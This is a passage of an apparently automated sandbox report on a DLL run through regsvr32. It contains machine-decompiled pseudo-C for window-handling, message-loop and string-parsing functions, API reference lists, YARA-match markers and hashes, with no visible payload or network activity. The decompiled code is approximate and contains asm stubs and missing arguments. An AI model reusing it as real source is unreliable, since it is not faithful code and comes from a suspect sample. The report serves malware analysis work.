				_t260 = __rdx;
				_t207 = __rax;
				_t197 = __esi;
				_t195 = __edi;
				_t188 = __edx;
				_t180 = __ecx;
				_t179 = __ebx;
				_a16 = __rdx;
				_push(__rsi);
				_t286 = _t285 - 0x48;
				_t223 = __rdx;
				_t280 = __rcx;
				 *(__rcx + 0xa0) = 1;
				E1002C120(__rax, __rcx, __rdx);
				_t226 =  *((intOrPtr*)(_t280 + 0x98));
				if((E1000EF58(__rax,  *((intOrPtr*)(_t280 + 0x98))) & 0x00000001) != 0) {
					__rcx =  *((intOrPtr*)(__rsi + 0x98));
					__edx = 0;
					__eflags = 0;
					__eax = E1000EFA8(0, __rax, __rcx);
				}
				_t129 =  *( *((intOrPtr*)(_t280 + 0x70)) + 0xdc);
				__eflags = _t129 & 0x00000004;
				if(__eflags == 0) {
					__eflags = _t129 & 0x00000002;
					if(__eflags == 0) {
						GetWindowRect();
						_t195 =  *(_t280 + 0x88) & 0x0000a000;
						 *((long long*)(_t280 + 8)) = _t223;
						r8d = 0xffffffff;
						asm("inc ebp");
						r9d = r9d & 0x00000006;
						r9d = r9d + 0xa;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t280 + 0x70)))) + 0x270))();
						__eflags =  *(_t280 + 0x88) & 0x0000a000;
						asm("movdqu xmm0, [esp+0x20]");
						if(__eflags == 0) {
							r8d = _v88;
							asm("movdqu [ebp], xmm0");
							_a8 = r8d;
							_v72 = r8d;
							asm("cdq");
							_t137 = _v80 - r8d - _t188 >> 1;
							_t208 = _a24;
							_a12 = _a20 - _t137;
							_t180 = _t208 + _t289;
							_t207 = _t208 >> 0x20;
							_v64 = _t180;
							_v68 = _t180;
							_v60 = _t137 + _t180;
							asm("movdqu xmm0, [esp+0x30]");
							asm("movdqu [edi], xmm0");
						} else {
							r8d = _v84;
							asm("movdqu [edi], xmm0");
							_a12 = r8d;
							asm("cdq");
							_t166 = _v76 - r8d - _t188 >> 1;
							_t184 = _t179 - _t166;
							_v72 = _t184;
							_a8 = _t184;
							_t180 = _t184 + _t166;
							_v64 = _t180;
							_t207 = _a24 >> 0x20;
							_v68 = _t180;
							_v60 = _t166 + _t180;
							asm("movdqu xmm0, [esp+0x30]");
							asm("movdqu [ebp], xmm0");
						}
						asm("movdqu xmm0, [edi]");
						asm("movdqu xmm1, [ebp]");
						asm("repe inc ecx");
						asm("repe inc ecx");
						goto L38;
					}
					GetWindowRect();
					r9d = 0xa;
					 *((long long*)(_t280 + 8)) = _t223;
					r8d = _t291 - 0xb;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t280 + 0x70)))) + 0x270))();
					r9d = 0x10;
					r8d = _t291 - 0x11;
					_t170 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t280 + 0x70)))) + 0x270))();
					_t293 = _v72;
					_v88 = r11d;
					_v80 = _a8 + _t293;
					_t171 = _t170 + _t188;
					_v84 = _t188;
					_v76 = _t171;
					_t214 = _a24;
					asm("movdqu xmm0, [esp+0x20]");
					_t180 = _t214 + _t293;
					_t207 = _t214 >> 0x20;
					asm("movdqu [edi], xmm0");
					asm("repe inc ecx");
					_v88 = r11d;
					_v84 = _t188;
					_v76 = _t171 + _t188;
					_v80 = _t214 + _t293;
					asm("movdqu xmm0, [esp+0x20]");
					asm("movdqu [ebp], xmm0");
					goto L31;
				} else {
					GetWindowRect();
					 *((long long*)(_t280 + 8)) = _t223;
					r9d = 0xa;
					r8d = 0;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t280 + 0x70)))) + 0x270))();
					r9d = 0x10;
					r8d = 0;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t280 + 0x70)))) + 0x270))();
					r9d = 6;
					r8d = 0;
					_t176 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t280 + 0x70)))) + 0x270))();
					_t293 = _v72;
					_v88 = r11d;
					_v80 = _a8 + _t293;
					_t289 = _t293 >> 0x20;
					_t177 = _t176 + r8d;
					_v84 = r8d;
					_v76 = _t177;
					asm("movdqu xmm0, [esp+0x20]");
					_v88 = r11d;
					asm("movdqu [edi], xmm0");
					_v80 = _a24 + _t293;
					_v84 = r8d;
					_v76 = _t177 + r8d;
					_t222 = _a32;
					asm("movdqu xmm0, [esp+0x20]");
					_t194 = _t222 + _t293;
					_v88 = r11d;
					asm("movdqu [ebp], xmm0");
					_v80 = _t194;
					_v84 = r8d;
					_t207 = _t222 >> 0x20;
					_t180 = _t207 + (_t293 >> 0x20);
					_v76 = _t180;
					asm("movdqu xmm0, [esp+0x20]");
					_v88 = r11d;
					_v80 = _t194;
					_v84 = r8d;
					_v76 = _t180;
					asm("repe inc ecx");
					asm("movdqu xmm0, [esp+0x20]");
					L31:
					asm("repe inc ecx");
					L38:
					r8d = 0;
					E1002DA14();
					r8d = 0;
					E1002DA14();
					r8d =  *0x100b72f4; // 0x2
					r8d =  ~r8d;
					InflateRect(??, ??, ??);
					r8d =  *0x100b72f4; // 0x2
					_t193 =  *0x100b72f0; // 0x2
					r8d =  ~r8d;
					_t188 =  ~_t193;
					InflateRect(??, ??, ??);
					E1002BFE0();
					E1002BFE0();
					E1002BFE0();
					E1002BFE0();
					_t141 = E1002BE24(__eflags, _t280);
					_t260 = _t223;
					 *((intOrPtr*)(_t280 + 0x84)) = _t141;
					E1002C3E0(_t141,  ~_t193, _t195, _t280, _t223, _t289, _t291, _t293);
					_t226 = _t280;
					_t286 = _t286 + 0x48;
					_pop(_t223);
					_push(_t223);
					_t224 = _t226;
					GetCapture();
					if(_t207 != 0) {
						L26:
						_t144 = 0;
						__eflags = 0;
						goto L27;
					} else {
						SetCapture();
						E10014360(_t179, _t188, _t207, _t207, _t260, _t289, _t291, _t293);
						while(1) {
							GetCapture();
							E10014360(_t179, _t188, _t207, _t207, _t260, _t289, _t291, _t293);
							if(_t207 !=  *((intOrPtr*)(_t224 + 0x70))) {
								break;
							}
							r9d = 0;
							r8d = 0;
							_t188 = 0;
							if(GetMessageA(??, ??, ??, ??) == 0) {
								_t180 = _v40;
								E1001BEFC();
								break;
							}
							_t152 = _v48 - 0x100;
							if(_t152 == 0) {
								__eflags =  *(_t224 + 0xa0);
								if( *(_t224 + 0xa0) != 0) {
									_t188 = _v40;
									r8d = 1;
									E1002C47C(_v40, _t224);
								}
								__eflags = _v40 - 0x1b;
								if(__eflags == 0) {
									break;
								} else {
									continue;
								}
							}
							_t154 = _t152 - 1;
							if(_t154 == 0) {
								__eflags =  *(_t224 + 0xa0);
								if(__eflags != 0) {
									_t188 = _v40;
									r8d = 0;
									E1002C47C(_v40, _t224);
								}
								continue;
							}
							_t156 = _t154 - 0xff;
							if(_t156 == 0) {
								__eflags =  *(_t224 + 0xa0);
								_t260 = _v20;
								_t250 = _t224;
								if( *(_t224 + 0xa0) == 0) {
									E1002C4BC(_t156, 0, _t250, _t260);
								} else {
									E1002C3E0(_t156, 0, _t195, _t250, _t260, _t289, _t291, _t293);
								}
								continue;
							}
							_t159 = _t156 - 2;
							if(_t159 == 0) {
								__eflags =  *(_t224 + 0xa0);
								_t251 = _t224;
								if(__eflags == 0) {
									E1002C810(_t179, _t180, 0, _t197, __eflags, _t207, _t251, _t260, _t291, _t293, _t300);
								} else {
									E1002C6F0(_t179, _t180, 0, _t197, __eflags, _t207, _t251, _t260, _t291, _t293, _t300);
								}
								_t144 = 1;
								L27:
								return _t144;
							}
							if(_t159 == 2) {
								break;
							}
							DispatchMessageA();
						}
						E1002C690(_t180, __eflags, _t207, _t224, _t260, _t293);
						goto L26;
					}
				}
			}

0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9a8
0x1002c9af
0x1002c9b5
0x1002c9b9
0x1002c9bc
0x1002c9bf
0x1002c9c9
0x1002c9ce
0x1002c9dc
0x1002c9de
0x1002c9e5
0x1002c9e5
0x1002c9e7
0x1002c9e7
0x1002c9f0
0x1002c9fa
0x1002c9fc
0x1002cb3b
0x1002cb3d
0x1002cc13
0x1002cc23
0x1002cc29
0x1002cc3a
0x1002cc42
0x1002cc45
0x1002cc49
0x1002cc4d
0x1002cc54
0x1002cc5a
0x1002cc64
0x1002ccc7
0x1002ccd7
0x1002ccdf
0x1002cce7
0x1002ccec
0x1002ccef
0x1002ccf3
0x1002ccfb
0x1002cd02
0x1002cd06
0x1002cd0a
0x1002cd1c
0x1002cd20
0x1002cd24
0x1002cd2a
0x1002cc66
0x1002cc6a
0x1002cc71
0x1002cc78
0x1002cc80
0x1002cc83
0x1002cc85
0x1002cc8f
0x1002cc93
0x1002cc9a
0x1002cc9c
0x1002cca8
0x1002ccb2
0x1002ccb6
0x1002ccba
0x1002ccc0
0x1002ccc0
0x1002cd2e
0x1002cd32
0x1002cd3f
0x1002cd45
0x00000000
0x1002cd45
0x1002cb48
0x1002cb52
0x1002cb58
0x1002cb67
0x1002cb6b
0x1002cb75
0x1002cb7e
0x1002cb8a
0x1002cb90
0x1002cba5
0x1002cbaa
0x1002cbc1
0x1002cbc3
0x1002cbc7
0x1002cbcb
0x1002cbd3
0x1002cbd9
0x1002cbdd
0x1002cbe1
0x1002cbe5
0x1002cbed
0x1002cbf2
0x1002cbf6
0x1002cbfa
0x1002cbfe
0x1002cc04
0x00000000
0x1002ca02
0x1002ca07
0x1002ca11
0x1002ca20
0x1002ca26
0x1002ca29
0x1002ca3e
0x1002ca44
0x1002ca47
0x1002ca5c
0x1002ca62
0x1002ca65
0x1002ca6b
0x1002ca80
0x1002ca85
0x1002ca90
0x1002ca9c
0x1002ca9f
0x1002caa4
0x1002cab0
0x1002caba
0x1002cabf
0x1002cac3
0x1002cac7
0x1002cad3
0x1002cad7
0x1002cadf
0x1002cae5
0x1002cae9
0x1002caee
0x1002caf3
0x1002caf7
0x1002cafc
0x1002cb00
0x1002cb04
0x1002cb08
0x1002cb0e
0x1002cb13
0x1002cb17
0x1002cb1c
0x1002cb20
0x1002cb26
0x1002cb2c
0x1002cb30
0x1002cd4b
0x1002cd4b
0x1002cd56
0x1002cd5b
0x1002cd66
0x1002cd6b
0x1002cd78
0x1002cd80
0x1002cd86
0x1002cd8d
0x1002cd93
0x1002cd96
0x1002cd9b
0x1002cda7
0x1002cdb2
0x1002cdbd
0x1002cdc8
0x1002cdd0
0x1002cdd5
0x1002cddb
0x1002cde1
0x1002cde6
0x1002cde9
0x1002cdf4
0x1002c868
0x1002c86e
0x1002c871
0x1002c87a
0x1002c99d
0x1002c99d
0x1002c99d
0x00000000
0x1002c880
0x1002c888
0x1002c891
0x1002c896
0x1002c896
0x1002c89f
0x1002c8a8
0x00000000
0x00000000
0x1002c8b3
0x1002c8b6
0x1002c8b9
0x1002c8c3
0x1002c98c
0x1002c990
0x00000000
0x1002c990
0x1002c8cd
0x1002c8d2
0x1002c945
0x1002c94c
0x1002c94e
0x1002c952
0x1002c95b
0x1002c95b
0x1002c960
0x1002c966
0x00000000
0x1002c968
0x00000000
0x1002c968
0x1002c966
0x1002c8d4
0x1002c8d7
0x1002c924
0x1002c92b
0x1002c931
0x1002c935
0x1002c93b
0x1002c93b
0x00000000
0x1002c92b
0x1002c8d9
0x1002c8de
0x1002c8ff
0x1002c906
0x1002c90b
0x1002c90e
0x1002c91a
0x1002c910
0x1002c910
0x1002c910
0x00000000
0x1002c90e
0x1002c8e0
0x1002c8e3
0x1002c96d
0x1002c974
0x1002c977
0x1002c980
0x1002c979
0x1002c979
0x1002c979
0x1002c985
0x1002c99f
0x1002c9a4
0x1002c9a4
0x1002c8ec
0x00000000
0x00000000
0x1002c8f7
0x1002c8f7
0x1002c998
0x00000000
0x1002c998
0x1002c87a

APIs

Part of subcall function 1002C120: PeekMessageA.USER32 ref: 1002C16C
Part of subcall function 1002C120: SetRectEmpty.USER32 ref: 1002C19B
Part of subcall function 1002C120: GetDesktopWindow.USER32 ref: 1002C1CA
Part of subcall function 1002C120: LockWindowUpdate.USER32 ref: 1002C1DF
Part of subcall function 1002C120: GetDCEx.USER32 ref: 1002C1F9

Part of subcall function 1000EF58: GetModuleHandleA.KERNEL32 ref: 1000EF68
Part of subcall function 1000EF58: GetProcAddress.KERNEL32 ref: 1000EF78

GetWindowRect.USER32 ref: 1002CA07
GetWindowRect.USER32 ref: 1002CB48
GetWindowRect.USER32 ref: 1002CC13
InflateRect.USER32 ref: 1002CD80
InflateRect.USER32 ref: 1002CD9B

Part of subcall function 1000EFA8: GetModuleHandleA.KERNEL32 ref: 1000EFBC
Part of subcall function 1000EFA8: GetProcAddress.KERNEL32 ref: 1000EFCE

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$Window$AddressHandleInflateModuleProc$DesktopEmptyLockMessagePeekUpdate
String ID:
API String ID: 4267001942-0
Opcode ID: e72bff674d3ba109deea07f5a4240c5eedf181f1d0d06b2b6ddad474d16e706e
Instruction ID: bba1204259678c131bb7d775a4fc8a22a75b23af9d811a4794231e54f37fe0b5
Opcode Fuzzy Hash: e72bff674d3ba109deea07f5a4240c5eedf181f1d0d06b2b6ddad474d16e706e
Instruction Fuzzy Hash: 4BC10A77618A858AD774CF2AE44169EB7A0F788B84F449215EBCE87B18DB3CD645CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A244 Relevance: 7.7, Strings: 6, Instructions: 180COMMON

Download Yara Rule

Strings

gM, xrefs: 000000018002A437
H, xrefs: 000000018002A25D
Gs, xrefs: 000000018002A3F7
#X, xrefs: 000000018002A349
(&, xrefs: 000000018002A26B
Z3, xrefs: 000000018002A354

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$(&$Gs$Z3$gM$H
API String ID: 0-899204494
Opcode ID: 0b2698736cddfcbdee9e9596dd7e4039551765194bab24c32fabd3c44ebd5eb1
Instruction ID: de6d5cdee7d2042674b17e42d2df3c94acfa73413df0281abab1acf857327976
Opcode Fuzzy Hash: 0b2698736cddfcbdee9e9596dd7e4039551765194bab24c32fabd3c44ebd5eb1
Instruction Fuzzy Hash: D1814C7050464D8BEF99CF24C8996ED7BA1FB48398F555319FC0AA7290C778D588CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010D54 Relevance: 7.6, Strings: 6, Instructions: 111COMMON

Download Yara Rule

Strings

C7yD, xrefs: 0000000180010F2B
j, xrefs: 0000000180010D6E
b, xrefs: 0000000180010D67
VE\, xrefs: 0000000180010E92
"b, xrefs: 0000000180010D75
4&, xrefs: 0000000180010F02

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: VE\$"b$4&$C7yD$b$j
API String ID: 0-706655939
Opcode ID: b0b690034d73fe5156ed140d0953172f2c539371c2e0b92cb305394460cb9dfd
Instruction ID: e0c248d56973c9d35544c6af06cc6152eb817fa338462743d027669060dc3b92
Opcode Fuzzy Hash: b0b690034d73fe5156ed140d0953172f2c539371c2e0b92cb305394460cb9dfd
Instruction Fuzzy Hash: F7518DB590034E9FDB48CF64D48A5CEBFB0FF28398F204119E855A6260D7B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 1003F040 Relevance: 7.5, APIs: 5, Instructions: 41timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 1003F086
GetCurrentProcessId.KERNEL32 ref: 1003F091
GetCurrentThreadId.KERNEL32 ref: 1003F09D
GetTickCount.KERNEL32 ref: 1003F0A9
QueryPerformanceCounter.KERNEL32 ref: 1003F0BA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 02b568510a9de4ab20721aa986e4cf1a9eff665cb6f7eb6249ee2e5a6813b63e
Instruction ID: 9b4386cbc3a205658f4af2359ea1d2c8296d3c1135e17274d705f8b7d211315c
Opcode Fuzzy Hash: 02b568510a9de4ab20721aa986e4cf1a9eff665cb6f7eb6249ee2e5a6813b63e
Instruction Fuzzy Hash: 41112735655B4082EB518F25F8403C973A4F74EB90F982115EECE43BA4DA7CC9D58B00

Uniqueness

Uniqueness Score: -1.00%

Function 10014064 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00040000,00000000,10014D00), ref: 10014083
LoadLibraryA.KERNEL32 ref: 10014096
GetProcAddress.KERNEL32(?,?,00040000,00000000,10014D00), ref: 100140B4

Strings

InitCommonControlsEx, xrefs: 100140AD

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: InitCommonControlsEx
API String ID: 310444273-2357626986
Opcode ID: 28ded186670b2caf6a7b26805e48f4397f1a7329f4dfddbe4b2d1b1a1aa2b5ee
Instruction ID: f20c0cb37a14deb4f3ca3d2ad32e4f14ea105face43a2c5fa098878659a2d0e5
Opcode Fuzzy Hash: 28ded186670b2caf6a7b26805e48f4397f1a7329f4dfddbe4b2d1b1a1aa2b5ee
Instruction Fuzzy Hash: 00F0E776202B85C5DF068F26E88435823A4F78CF98F299026CA4C8B324EF74C9E6D750

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EC08 Relevance: 6.8, Strings: 5, Instructions: 553COMMON

Download Yara Rule

Strings

W$, xrefs: 000000018001F4EF
%r<o, xrefs: 000000018001F45E
9/, xrefs: 000000018001F347
b9, xrefs: 000000018001F296
[9, xrefs: 000000018001F376

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %r<o$9/$W$$[9$b9
API String ID: 0-2746926221
Opcode ID: 372e88b91532cac9e7d675c9386b524a8684a52a294711d05cb4be73676b9cb6
Instruction ID: 857f9f622853f1222ee16c5b39ed31f9c38bcf5745b5624d0405ba6e31c8c48e
Opcode Fuzzy Hash: 372e88b91532cac9e7d675c9386b524a8684a52a294711d05cb4be73676b9cb6
Instruction Fuzzy Hash: 8C42F1715087888FD798CFA8C58965EFBE1FB88744F108A1DF486866A0D7F8D949CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E61C Relevance: 6.5, Strings: 5, Instructions: 254COMMON

Download Yara Rule

Strings

-m, xrefs: 000000018001E9B9
L!, xrefs: 000000018001E9E0
>My0, xrefs: 000000018001E91E
mIE, xrefs: 000000018001E999
Yx, xrefs: 000000018001E9A0

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -m$>My0$L!$Yx$mIE
API String ID: 0-1906869730
Opcode ID: 22b7dc11ad1157756b3b5cdfcf55ba8079128d3ee19385201b96a133d6b09b4b
Instruction ID: 40720ef443a49d89451b3fe7f19ecaea61a8f7b483180b93ec731c06a1799b7b
Opcode Fuzzy Hash: 22b7dc11ad1157756b3b5cdfcf55ba8079128d3ee19385201b96a133d6b09b4b
Instruction Fuzzy Hash: 84C15C7091474D8FEB49CF68D889ADEBBB0FF18344F10861AF826A7290C7B49614CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D150 Relevance: 6.5, Strings: 5, Instructions: 226COMMON

Download Yara Rule

Strings

:~, xrefs: 000000018001D1D6
5, xrefs: 000000018001D261
k, xrefs: 000000018001D29B
kJ, xrefs: 000000018001D3BF
Us, xrefs: 000000018001D26F

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: k$ 5$:~$Us$kJ
API String ID: 0-3511517462
Opcode ID: 132ef2c3d2ebd4036968b354f60746569ead684b7099f6ffe6188c1094d82904
Instruction ID: e0768fcc84a43de4470326c006d033fbafa3108b04edbfcb0427ebdce0a75442
Opcode Fuzzy Hash: 132ef2c3d2ebd4036968b354f60746569ead684b7099f6ffe6188c1094d82904
Instruction Fuzzy Hash: 1FA1137191465C9BDF88DFA8C88A9DDBBF1FB48304F50921DE806B7250D778A984CF68

Uniqueness

Uniqueness Score: -1.00%

Function 1003B0D0 Relevance: 6.4, Strings: 5, Instructions: 139
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1003B0D0(void* __ecx, void* __rax, long long __rbx, void* __rcx, signed char* __rdx, long long __rdi, long long __rsi, long long __rbp, signed char* __r8, void* __r9, long long __r12, long long __r13, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				long long _v16;
				long long _v40;
				void* _t34;
				void* _t37;
				signed int _t49;
				void* _t64;
				void* _t69;
				void* _t93;
				long long _t95;
				void* _t97;
				void* _t99;

				_t95 = __r12;
				_t93 = __r9;
				_t91 = __r8;
				_t88 = __rbp;
				_t86 = __rsi;
				_t79 = __rdx;
				_t70 = __rbx;
				_t69 = __rax;
				_a32 = __rdi;
				_t82 = __rdx;
				r8d = 0x90;
				_v16 = __r13;
				_t99 = __rcx;
				E1002E410(_t34, __ecx, 0, __rcx, __rdx, __r8);
				r11d =  *__rdx & 0x000000ff;
				if(r11b != 0) {
					_a16 = __rbp;
					if(r11b != 0x2e) {
						L7:
						_a8 = _t70;
						_a24 = _t86;
						_t80 = 0x1009c2b0;
						_v8 = _t95;
						_t64 = 0;
						E10042F00(_t82, 0x1009c2b0, _t91, _t93);
						if(_t69 == 0) {
							L28:
							_t37 = 0xffffffff;
						} else {
							do {
								_t49 =  *(_t69 + _t82) & 0x000000ff;
								_t97 = _t69 + _t82;
								if(_t64 != 0) {
									if(_t64 != 1) {
										if(_t64 != 2 || _t69 >= 0x10 || _t49 != 0 && _t49 != 0x2c) {
											goto L28;
										} else {
											_t94 = _t69;
											_t92 = _t82;
											if(E10032700(_t69, _t70, _t99 + 0x80, _t80, _t82, _t86, _t88, _t82, _t69) != 0) {
												r9d = 0;
												r8d = 0;
												_v40 = _t88;
												E100342D0(0, _t80, _t92);
											}
											goto L25;
										}
									} else {
										if(_t69 >= 0x40 || _t49 == 0x5f) {
											goto L28;
										} else {
											_t94 = _t69;
											_t92 = _t82;
											if(E10032700(_t69, _t70, _t99 + 0x40, _t80, _t82, _t86, _t88, _t82, _t69) != 0) {
												r9d = 0;
												r8d = 0;
												_v40 = _t88;
												E100342D0(0, _t80, _t92);
											}
											goto L25;
										}
									}
								} else {
									if(_t69 >= 0x40 || _t49 == 0x2e) {
										goto L28;
									} else {
										_t94 = _t69;
										_t92 = _t82;
										if(E10032700(_t69, _t70, _t99, _t80, _t82, _t86, _t88, _t82, _t69) != 0) {
											r9d = 0;
											r8d = 0;
											_v40 = _t88;
											E100342D0(0, _t80, _t92);
										}
										L25:
										if(_t49 == 0x2c || _t49 == 0) {
											_t37 = 0;
										} else {
											goto L27;
										}
									}
								}
								goto L29;
								L27:
								_t82 = _t97 + 1;
								_t80 = 0x1009c2b0;
								_t64 = _t64 + 1;
								E10042F00(_t82, 0x1009c2b0, _t92, _t94);
							} while (_t69 != 0);
							goto L28;
						}
						L29:
						return _t37;
					} else {
						_t91 =  &(__rdx[1]);
						if(__rdx[1] == 0) {
							goto L7;
						} else {
							_t9 = _t79 - 1; // 0xf
							r9d = _t9;
							if(E10032700(_t69, __rbx, __rcx + 0x80, __rdx, __rdx, __rsi, __rbp, _t91, _t93) != 0) {
								r9d = 0;
								r8d = 0;
								_v40 = __rbp;
								E100342D0(0, __rdx, _t91);
							}
							 *((char*)(_t99 + 0x8f)) = 0;
							return 0;
						}
					}
				} else {
					return 0;
				}
			}

0x1003b0d0
0x1003b0d0
0x1003b0d0
0x1003b0d0
0x1003b0d0
0x1003b0d0
0x1003b0d0
0x1003b0d0
0x1003b0d4
0x1003b0d9
0x1003b0dc
0x1003b0e4
0x1003b0e9
0x1003b0ec
0x1003b0f1
0x1003b0f8
0x1003b10f
0x1003b114
0x1003b16d
0x1003b16d
0x1003b172
0x1003b177
0x1003b183
0x1003b188
0x1003b18a
0x1003b192
0x1003b2a1
0x1003b2a1
0x1003b1a0
0x1003b1a0
0x1003b1a2
0x1003b1a6
0x1003b1aa
0x1003b1f4
0x1003b238
0x00000000
0x1003b249
0x1003b250
0x1003b253
0x1003b262
0x1003b264
0x1003b267
0x1003b26e
0x1003b273
0x1003b273
0x00000000
0x1003b262
0x1003b1f6
0x1003b1fa
0x00000000
0x1003b209
0x1003b210
0x1003b213
0x1003b21d
0x1003b21f
0x1003b222
0x1003b229
0x1003b22e
0x1003b22e
0x00000000
0x1003b21d
0x1003b1fa
0x1003b1ac
0x1003b1b0
0x00000000
0x1003b1bf
0x1003b1c2
0x1003b1c5
0x1003b1d2
0x1003b1d8
0x1003b1db
0x1003b1e2
0x1003b1e7
0x1003b1e7
0x1003b278
0x1003b27b
0x1003b2c9
0x00000000
0x00000000
0x00000000
0x1003b27b
0x1003b1b0
0x00000000
0x1003b281
0x1003b281
0x1003b286
0x1003b28d
0x1003b293
0x1003b298
0x00000000
0x1003b1a0
0x1003b2a6
0x1003b2c8
0x1003b116
0x1003b11a
0x1003b11e
0x00000000
0x1003b120
0x1003b12c
0x1003b12c
0x1003b137
0x1003b13b
0x1003b13e
0x1003b145
0x1003b14a
0x1003b14a
0x1003b154
0x1003b16c
0x1003b16c
0x1003b11e
0x1003b0fa
0x1003b10a
0x1003b10a

Strings

_, xrefs: 1003B200
,, xrefs: 1003B278
,, xrefs: 1003B244
_.,, xrefs: 1003B177, 1003B286
., xrefs: 1003B1B6

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: ,$,$.$_$_.,
API String ID: 0-1893563293
Opcode ID: 4cdacdbbbcfefeb7c735e9df046fb9ff3a93ea6f4f13e1f970a555040002e421
Instruction ID: 64cf508c49102f66e109c497eacdceef44fee94dc6c4dfbd0edb012d86edb3d2
Opcode Fuzzy Hash: 4cdacdbbbcfefeb7c735e9df046fb9ff3a93ea6f4f13e1f970a555040002e421
Instruction Fuzzy Hash: 0F410136B04BD18DEB52CB22A51174FA391F7863D9F854215EF8D5BB5ADF28D410C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017CC0 Relevance: 6.4, Strings: 5, Instructions: 102COMMON

Download Yara Rule

Strings

